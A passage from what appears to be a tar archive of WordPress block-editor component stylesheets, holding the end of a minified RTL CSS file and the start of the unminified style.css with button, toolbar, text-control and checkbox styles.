#fff}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{color:#007cba;color:var(--wp-admin-theme-color)}.components-snackbar__content{display:flex;align-items:baseline;justify-content:space-between;line-height:1.4}.components-snackbar-list{position:absolute;z-index:100000;width:100%;box-sizing:border-box}.components-snackbar-list__notice-container{position:relative;padding-top:8px}.components-tab-panel__tabs{display:flex;align-items:stretch;flex-direction:row}.components-tab-panel__tabs[aria-orientation=vertical]{flex-direction:column}.components-tab-panel__tabs-item{background:transparent;border:none;box-shadow:none;border-radius:0;cursor:pointer;height:48px;padding:3px 16px;margin-right:0;font-weight:500;transition:box-shadow .1s linear;box-sizing:border-box}.components-tab-panel__tabs-item:after{content:attr(data-label);display:block;height:0;overflow:hidden;speak:none;visibility:hidden}.components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:inset 0 2px #007cba;box-shadow:inset 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-tab-panel__tabs-item.is-active{box-shadow:inset 0 0 0 2px transparent,inset 0 -4px 0 0 #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) transparent,inset 0 -4px 0 0 var(--wp-admin-theme-color);position:relative}.components-tab-panel__tabs-item.is-active:before{content:"";position:absolute;top:0;bottom:1px;left:0;right:0;border-bottom:4px solid transparent}.components-tab-panel__tabs-item:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-tab-panel__tabs-item.is-active:focus{box-shadow:inset 0 0 0 2px #007cba,inset 0 -4px 0 0 #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 -4px 0 0 var(--wp-admin-theme-color)}.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{width:100%;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal}@media (prefers-reduced-motion:reduce){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{transition-duration:0s}}@media (min-width:600px){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{font-size:13px;line-height:normal}}.components-text-control__input:focus,.components-text-control__input[type=color]:focus,.components-text-control__input[type=date]:focus,.components-text-control__input[type=datetime-local]:focus,.components-text-control__input[type=datetime]:focus,.components-text-control__input[type=email]:focus,.components-text-control__input[type=month]:focus,.components-text-control__input[type=number]:focus,.components-text-control__input[type=password]:focus,.components-text-control__input[type=tel]:focus,.components-text-control__input[type=text]:focus,.components-text-control__input[type=time]:focus,.components-text-control__input[type=url]:focus,.components-text-control__input[type=week]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-text-control__input::-webkit-input-placeholder,.components-text-control__input[type=color]::-webkit-input-placeholder,.components-text-control__input[type=date]::-webkit-input-placeholder,.components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.components-text-control__input[type=datetime]::-webkit-input-placeholder,.components-text-control__input[type=email]::-webkit-input-placeholder,.components-text-control__input[type=month]::-webkit-input-placeholder,.components-text-control__input[type=number]::-webkit-input-placeholder,.components-text-control__input[type=password]::-webkit-input-placeholder,.components-text-control__input[type=tel]::-webkit-input-placeholder,.components-text-control__input[type=text]::-webkit-input-placeholder,.components-text-control__input[type=time]::-webkit-input-placeholder,.components-text-control__input[type=url]::-webkit-input-placeholder,.components-text-control__input[type=week]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-text-control__input::-moz-placeholder,.components-text-control__input[type=color]::-moz-placeholder,.components-text-control__input[type=date]::-moz-placeholder,.components-text-control__input[type=datetime-local]::-moz-placeholder,.components-text-control__input[type=datetime]::-moz-placeholder,.components-text-control__input[type=email]::-moz-placeholder,.components-text-control__input[type=month]::-moz-placeholder,.components-text-control__input[type=number]::-moz-placeholder,.components-text-control__input[type=password]::-moz-placeholder,.components-text-control__input[type=tel]::-moz-placeholder,.components-text-control__input[type=text]::-moz-placeholder,.components-text-control__input[type=time]::-moz-placeholder,.components-text-control__input[type=url]::-moz-placeholder,.components-text-control__input[type=week]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-text-control__input:-ms-input-placeholder,.components-text-control__input[type=color]:-ms-input-placeholder,.components-text-control__input[type=date]:-ms-input-placeholder,.components-text-control__input[type=datetime-local]:-ms-input-placeholder,.components-text-control__input[type=datetime]:-ms-input-placeholder,.components-text-control__input[type=email]:-ms-input-placeholder,.components-text-control__input[type=month]:-ms-input-placeholder,.components-text-control__input[type=number]:-ms-input-placeholder,.components-text-control__input[type=password]:-ms-input-placeholder,.components-text-control__input[type=tel]:-ms-input-placeholder,.components-text-control__input[type=text]:-ms-input-placeholder,.components-text-control__input[type=time]:-ms-input-placeholder,.components-text-control__input[type=url]:-ms-input-placeholder,.components-text-control__input[type=week]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-text-control__input::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=color]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=date]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=datetime]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=email]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=month]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=number]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=password]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=tel]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=text]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=time]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=url]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=week]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-text-control__input::-moz-placeholder,.is-dark-theme .components-text-control__input[type=color]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=date]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=datetime-local]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=datetime]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=email]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=month]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=number]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=password]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=tel]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=text]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=time]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=url]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=week]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-text-control__input:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=color]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=date]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=datetime-local]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=datetime]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=email]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=month]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=number]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=password]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=tel]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=text]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=time]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=url]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=week]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-tip{display:flex;color:#757575}.components-tip svg{-ms-grid-row-align:center;align-self:center;fill:#f0b849;flex-shrink:0;margin-left:16px}.components-tip p{margin:0}.components-toggle-control .components-base-control__field{display:flex;margin-bottom:12px;line-height:normal;align-items:center}.components-toggle-control .components-base-control__field .components-form-toggle{margin-left:12px}.components-toggle-control .components-base-control__field .components-toggle-control__label{display:block}.components-accessible-toolbar{display:inline-flex;border:1px solid #1e1e1e;border-radius:2px;flex-shrink:0}.components-accessible-toolbar>.components-toolbar-group:last-child{border-left:none}.components-accessible-toolbar .components-button,.components-toolbar .components-button{position:relative;height:48px;z-index:1;padding-right:16px;padding-left:16px}.components-accessible-toolbar .components-button:focus:enabled,.components-toolbar .components-button:focus:enabled{box-shadow:none;outline:none}.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{content:"";position:absolute;display:block;border-radius:2px;height:32px;right:8px;left:8px;z-index:-1;animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{animation-duration:1ms}}.components-accessible-toolbar .components-button svg,.components-toolbar .components-button svg{position:relative;margin-right:auto;margin-left:auto}.components-accessible-toolbar .components-button.is-pressed,.components-accessible-toolbar .components-button.is-pressed:hover,.components-toolbar .components-button.is-pressed,.components-toolbar .components-button.is-pressed:hover{background:transparent}.components-accessible-toolbar .components-button.is-pressed:before,.components-toolbar .components-button.is-pressed:before{background:#1e1e1e}.components-accessible-toolbar .components-button:focus:before,.components-toolbar .components-button:focus:before{box-shadow:inset 0 0 0 2px #007cba,inset 0 0 0 4px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 4px #fff;outline:2px solid transparent}.components-accessible-toolbar .components-button.has-icon,.components-toolbar .components-button.has-icon{padding-right:8px;padding-left:8px;min-width:48px;justify-content:center}.components-accessible-toolbar .components-button.components-tab-button,.components-toolbar .components-button.components-tab-button{font-weight:500}.components-accessible-toolbar .components-button.components-tab-button span,.components-toolbar .components-button.components-tab-button span{display:inline-block;padding-right:0;padding-left:0;position:relative}@keyframes components-button__appear-animation{0%{transform:scaleY(0)}to{transform:scaleY(1)}}.components-toolbar__control.components-button{position:relative}.components-toolbar__control.components-button[data-subscript] svg{padding:5px 0 5px 10px}.components-toolbar__control.components-button[data-subscript]:after{content:attr(data-subscript);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;line-height:12px;position:absolute;left:8px;bottom:10px}.components-toolbar__control.components-button:active:before{display:none}.components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]:after{color:#fff}.components-toolbar-group{min-height:48px;border-left:1px solid #1e1e1e;background-color:#fff;display:inline-flex;flex-shrink:0;flex-wrap:wrap;line-height:0}.components-toolbar-group .components-toolbar-group.components-toolbar-group{border-width:0;margin:0}.components-toolbar{min-height:48px;margin:0;border:1px solid #1e1e1e;background-color:#fff;display:inline-flex;flex-shrink:0;flex-wrap:wrap}.components-toolbar .components-toolbar.components-toolbar{border-width:0;margin:0}div.components-toolbar>div{display:block;margin:0}@supports ((position:-webkit-sticky) or (position:sticky)){div.components-toolbar>div{display:flex}}div.components-toolbar>div+div.has-left-divider{margin-right:6px;position:relative;overflow:visible}div.components-toolbar>div+div.has-left-divider:before{display:inline-block;content:"";box-sizing:content-box;background-color:#ddd;position:absolute;top:8px;right:-3px;width:1px;height:20px}.components-accessible-toolbar .components-toolbar-group>.components-button.components-button.has-icon,.components-toolbar div>.components-button.components-button.has-icon{min-width:36px;padding-right:6px;padding-left:6px}.components-accessible-toolbar .components-toolbar-group>.components-button.components-button.has-icon svg,.components-toolbar div>.components-button.components-button.has-icon svg{min-width:24px}.components-accessible-toolbar .components-toolbar-group>.components-button.components-button.has-icon:before,.components-toolbar div>.components-button.components-button.has-icon:before{right:2px;left:2px}.components-accessible-toolbar .components-toolbar-group>.components-button:first-child.has-icon,.components-accessible-toolbar .components-toolbar-group>div:first-child>.components-button.has-icon,.components-toolbar div:first-child .components-button.has-icon{min-width:42px;padding-right:11px;padding-left:6px}.components-accessible-toolbar .components-toolbar-group>.components-button:first-child.has-icon:before,.components-accessible-toolbar .components-toolbar-group>div:first-child>.components-button.has-icon:before,.components-toolbar div:first-child .components-button.has-icon:before{right:8px;left:2px}.components-accessible-toolbar .components-toolbar-group>.components-button:last-of-type.has-icon,.components-accessible-toolbar .components-toolbar-group>div:last-child>.components-button.has-icon,.components-toolbar div:last-child .components-button.has-icon{min-width:42px;padding-right:6px;padding-left:11px}.components-accessible-toolbar .components-toolbar-group>.components-button:last-of-type.has-icon:before,.components-accessible-toolbar .components-toolbar-group>div:last-child>.components-button.has-icon:before,.components-toolbar div:last-child .components-button.has-icon:before{right:2px;left:8px}.components-accessible-toolbar .components-toolbar-group>.components-button:first-of-type:last-of-type.has-icon,.components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon,.components-toolbar div:first-child:last-child>.components-button.has-icon{min-width:48px;padding-right:12px;padding-left:12px}.components-accessible-toolbar .components-toolbar-group>.components-button:first-of-type:last-of-type.has-icon:before,.components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon:before,.components-toolbar div:first-child:last-child>.components-button.has-icon:before{right:8px;left:8px}.components-tooltip.components-popover{z-index:1000002}.components-tooltip.components-popover .components-popover__content{min-width:0}.components-tooltip .components-popover__content{background:#1e1e1e;border-radius:2px;border-width:0;color:#fff;white-space:nowrap;text-align:center;line-height:1.4;font-size:12px;box-shadow:none}.components-tooltip .components-popover__content>div{padding:4px 8px}.components-tooltip__shortcut{display:inline-block;margin-right:8px}.disabled-element-wrapper{position:relative}.disabled-element-wrapper .event-catcher{z-index:100002;position:absolute;width:100%;height:100%;top:0;right:0;bottom:0;left:0}.components-visually-hidden{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.components-visually-hidden:focus{background-color:#ddd;clip:auto!important;-webkit-clip-path:none;clip-path:none;color:#444;display:block;font-size:1em;height:auto;right:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}css/dist/components/style.css000064400000406250151202620300012334 0ustar00@charset "UTF-8"; /** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .components-animate__appear { animation: components-animate__appear-animation 0.1s cubic-bezier(0, 0, 0.2, 1) 0s; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-animate__appear { animation-duration: 1ms; } } .components-animate__appear.is-from-top, .components-animate__appear.is-from-top.is-from-left { transform-origin: top left; } .components-animate__appear.is-from-top.is-from-right { transform-origin: top right; } .components-animate__appear.is-from-bottom, .components-animate__appear.is-from-bottom.is-from-left { transform-origin: bottom left; } .components-animate__appear.is-from-bottom.is-from-right { transform-origin: bottom right; } @keyframes components-animate__appear-animation { from { transform: translateY(-2em) scaleY(0) scaleX(0); } to { transform: translateY(0%) scaleY(1) scaleX(1); } } .components-animate__slide-in { animation: components-animate__slide-in-animation 0.1s cubic-bezier(0, 0, 0.2, 1); animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .components-animate__slide-in { animation-duration: 1ms; } } .components-animate__slide-in.is-from-left { transform: translateX(100%); } .components-animate__slide-in.is-from-right { transform: translateX(-100%); } @keyframes components-animate__slide-in-animation { 100% { transform: translateX(0%); } } .components-animate__loading { animation: components-animate__loading 1.6s ease-in-out infinite; } @keyframes components-animate__loading { 0% { opacity: 0.5; } 50% { opacity: 1; } 100% { opacity: 0.5; } } .components-autocomplete__popover .components-popover__content > div { padding: 16px; min-width: 220px; } .components-autocomplete__result.components-button { display: flex; height: auto; min-height: 36px; text-align: left; width: 100%; } .components-autocomplete__result.components-button.is-selected { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 2px var(--wp-admin-theme-color); } .components-button-group { display: inline-block; } .components-button-group .components-button { border-radius: 0; display: inline-flex; color: #1e1e1e; box-shadow: inset 0 0 0 1px #1e1e1e; } .components-button-group .components-button + .components-button { margin-left: -1px; } .components-button-group .components-button:first-child { border-radius: 2px 0 0 2px; } .components-button-group .components-button:last-child { border-radius: 0 2px 2px 0; } .components-button-group .components-button:focus, .components-button-group .components-button.is-primary { position: relative; z-index: 1; } .components-button-group .components-button.is-primary { box-shadow: inset 0 0 0 1px #1e1e1e; } .components-button { display: inline-flex; text-decoration: none; font-size: 13px; margin: 0; border: 0; cursor: pointer; -webkit-appearance: none; background: none; transition: box-shadow 0.1s linear; height: 36px; align-items: center; box-sizing: border-box; padding: 6px 12px; border-radius: 2px; color: #1e1e1e; /** * Primary button style. */ /** * Secondary and tertiary buttons. */ /** * Secondary button style. */ /** * Tertiary buttons. */ /** * Destructive buttons. */ /** * Link buttons. */ } @media (prefers-reduced-motion: reduce) { .components-button { transition-duration: 0s; } } .components-button[aria-expanded=true], .components-button:hover { color: #007cba; color: var(--wp-admin-theme-color); } .components-button[aria-disabled=true]:hover { color: initial; } .components-button:focus:not(:disabled) { box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 3px solid transparent; } .components-button.is-primary { white-space: nowrap; background: #007cba; background: var(--wp-admin-theme-color); color: #fff; text-decoration: none; text-shadow: none; outline: 1px solid transparent; } .components-button.is-primary:hover:not(:disabled) { background: #006ba1; background: var(--wp-admin-theme-color-darker-10); color: #fff; } .components-button.is-primary:active:not(:disabled) { background: #005a87; background: var(--wp-admin-theme-color-darker-20); border-color: #005a87; border-color: var(--wp-admin-theme-color-darker-20); color: #fff; } .components-button.is-primary:focus:not(:disabled) { box-shadow: inset 0 0 0 1px #fff, 0 0 0 2px #007cba; box-shadow: inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .components-button.is-primary:disabled, .components-button.is-primary:disabled:active:enabled, .components-button.is-primary[aria-disabled=true], .components-button.is-primary[aria-disabled=true]:enabled, .components-button.is-primary[aria-disabled=true]:active:enabled { color: rgba(255, 255, 255, 0.4); background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); opacity: 1; outline: none; } .components-button.is-primary:disabled:focus:enabled, .components-button.is-primary:disabled:active:enabled:focus:enabled, .components-button.is-primary[aria-disabled=true]:focus:enabled, .components-button.is-primary[aria-disabled=true]:enabled:focus:enabled, .components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #007cba; box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); } .components-button.is-primary.is-busy, .components-button.is-primary.is-busy:disabled, .components-button.is-primary.is-busy[aria-disabled=true] { color: #fff; background-size: 100px 100%; /* stylelint-disable */ background-image: linear-gradient(-45deg, #007cba 33%, #005a87 33%, #005a87 70%, #007cba 70%); background-image: linear-gradient(-45deg, var(--wp-admin-theme-color) 33%, var(--wp-admin-theme-color-darker-20) 33%, var(--wp-admin-theme-color-darker-20) 70%, var(--wp-admin-theme-color) 70%); /* stylelint-enable */ border-color: #007cba; border-color: var(--wp-admin-theme-color); } .components-button.is-secondary, .components-button.is-tertiary { outline: 1px solid transparent; } .components-button.is-secondary:active:not(:disabled), .components-button.is-tertiary:active:not(:disabled) { background: #ddd; color: #006ba1; color: var(--wp-admin-theme-color-darker-10); box-shadow: none; } .components-button.is-secondary:hover:not(:disabled), .components-button.is-tertiary:hover:not(:disabled) { color: #006ba1; color: var(--wp-admin-theme-color-darker-10); box-shadow: inset 0 0 0 1px #006ba1; box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color-darker-10); } .components-button.is-secondary:disabled, .components-button.is-secondary[aria-disabled=true], .components-button.is-secondary[aria-disabled=true]:hover, .components-button.is-tertiary:disabled, .components-button.is-tertiary[aria-disabled=true], .components-button.is-tertiary[aria-disabled=true]:hover { color: #828282; background: #eaeaea; transform: none; opacity: 1; box-shadow: none; outline: none; } .components-button.is-secondary { box-shadow: inset 0 0 0 1px #007cba; box-shadow: inset 0 0 0 1px var(--wp-admin-theme-color); outline: 1px solid transparent; white-space: nowrap; color: #007cba; color: var(--wp-admin-theme-color); background: transparent; } .components-button.is-tertiary { white-space: nowrap; color: #007cba; color: var(--wp-admin-theme-color); background: transparent; padding: 6px; } .components-button.is-tertiary .dashicon { display: inline-block; flex: 0 0 auto; } .components-button.is-destructive { color: #cc1818; box-shadow: inset 0 0 0 1px #cc1818; } .components-button.is-destructive:hover:not(:disabled) { color: #710d0d; box-shadow: inset 0 0 0 1px #710d0d; } .components-button.is-destructive:focus:not(:disabled) { color: #007cba; color: var(--wp-admin-theme-color); } .components-button.is-destructive:active:not(:disabled) { background: #ccc; } .components-button.is-destructive.is-primary { color: #fff; background: #cc1818; box-shadow: inset 0 0 0 1px #cc1818; } .components-button.is-destructive.is-primary:hover:not(:disabled) { color: #fff; background: #710d0d; box-shadow: inset 0 0 0 1px #710d0d; } .components-button.is-link { margin: 0; padding: 0; box-shadow: none; border: 0; border-radius: 0; background: none; outline: none; text-align: left; /* Mimics the default link style in common.css */ color: #0073aa; text-decoration: underline; transition-property: border, background, color; transition-duration: 0.05s; transition-timing-function: ease-in-out; height: auto; } @media (prefers-reduced-motion: reduce) { .components-button.is-link { transition-duration: 0s; } } .components-button.is-link:hover:not(:disabled), .components-button.is-link:active:not(:disabled) { color: #00a0d2; box-shadow: none; } .components-button.is-link:focus { color: #124964; box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, 0.8); box-shadow: 0 0 0 1px #5b9dd9, 0 0 var(--wp-admin-border-width-focus) 1px rgba(30, 140, 190, 0.8); } .components-button.is-link.is-destructive { color: #cc1818; } .components-button.is-link.is-destructive:active:not(:disabled), .components-button.is-link.is-destructive:hover:not(:disabled) { color: #710d0d; background: none; } .components-button.is-link.is-destructive:focus:not(:disabled) { color: #007cba; color: var(--wp-admin-theme-color); } .components-button:not([aria-disabled=true]):active { color: inherit; } .components-button:disabled, .components-button[aria-disabled=true] { cursor: default; opacity: 0.3; } .components-button.is-busy, .components-button.is-secondary.is-busy, .components-button.is-secondary.is-busy:disabled, .components-button.is-secondary.is-busy[aria-disabled=true] { animation: components-button__busy-animation 2500ms infinite linear; opacity: 1; background-size: 100px 100%; /* stylelint-disable */ background-image: linear-gradient(-45deg, #fafafa 33%, #e0e0e0 33%, #e0e0e0 70%, #fafafa 70%); /* stylelint-enable */ } .components-button.is-small { height: 24px; line-height: 22px; padding: 0 8px; font-size: 11px; } .components-button.is-small.has-icon:not(.has-text) { padding: 0 8px; width: 24px; } .components-button.has-icon { padding: 6px; min-width: 36px; justify-content: center; } .components-button.has-icon .dashicon { display: inline-block; flex: 0 0 auto; margin-left: 2px; margin-right: 10px; } .components-button.has-icon.has-text { justify-content: left; } .components-button.has-icon.has-text svg { margin-right: 8px; } .components-button.is-pressed { color: #fff; background: #1e1e1e; } .components-button.is-pressed:focus:not(:disabled) { box-shadow: inset 0 0 0 1px #fff, 0 0 0 2px #007cba; box-shadow: inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-button.is-pressed:hover:not(:disabled) { color: #fff; background: #1e1e1e; } .components-button svg { fill: currentColor; outline: none; } .components-button .components-visually-hidden { height: auto; } @keyframes components-button__busy-animation { 0% { background-position: 200px 0; } } .components-checkbox-control__input[type=checkbox] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; border: 1px solid #1e1e1e; margin-right: 12px; transition: none; border-radius: 2px; background: #fff; color: #1e1e1e; clear: none; cursor: pointer; display: inline-block; line-height: 0; margin: 0 4px 0 0; outline: 0; padding: 0 !important; text-align: center; vertical-align: top; width: 24px; height: 24px; -webkit-appearance: none; appearance: none; transition: 0.1s border-color ease-in-out; } @media (prefers-reduced-motion: reduce) { .components-checkbox-control__input[type=checkbox] { transition-duration: 0s; } } @media (min-width: 600px) { .components-checkbox-control__input[type=checkbox] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-checkbox-control__input[type=checkbox]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-checkbox-control__input[type=checkbox]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-checkbox-control__input[type=checkbox]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-checkbox-control__input[type=checkbox]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-checkbox-control__input[type=checkbox]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-checkbox-control__input[type=checkbox]:focus { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-checkbox-control__input[type=checkbox]:checked { background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); } .components-checkbox-control__input[type=checkbox]:checked::-ms-check { opacity: 0; } .components-checkbox-control__input[type=checkbox]:checked::before, .components-checkbox-control__input[type=checkbox][aria-checked=mixed]::before { margin: -3px -5px; color: #fff; } @media (min-width: 782px) { .components-checkbox-control__input[type=checkbox]:checked::before, .components-checkbox-control__input[type=checkbox][aria-checked=mixed]::before { margin: -4px 0 0 -5px; } } .components-checkbox-control__input[type=checkbox][aria-checked=mixed] { background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); } .components-checkbox-control__input[type=checkbox][aria-checked=mixed]::before { content: ""; float: left; display: inline-block; vertical-align: middle; width: 16px; /* stylelint-disable */ font: normal 30px/1 dashicons; /* stylelint-enable */ speak: none; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } @media (min-width: 782px) { .components-checkbox-control__input[type=checkbox][aria-checked=mixed]::before { float: none; font-size: 21px; } } @media (min-width: 600px) { .components-checkbox-control__input[type=checkbox] { height: 20px; width: 20px; } } @media (prefers-reduced-motion: reduce) { .components-checkbox-control__input[type=checkbox] { transition-duration: 0s; } } .components-checkbox-control__input[type=checkbox]:focus { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-checkbox-control__input[type=checkbox]:checked { background: #007cba; background: var(--wp-admin-theme-color); border-color: #007cba; border-color: var(--wp-admin-theme-color); } .components-checkbox-control__input[type=checkbox]:checked::-ms-check { opacity: 0; } 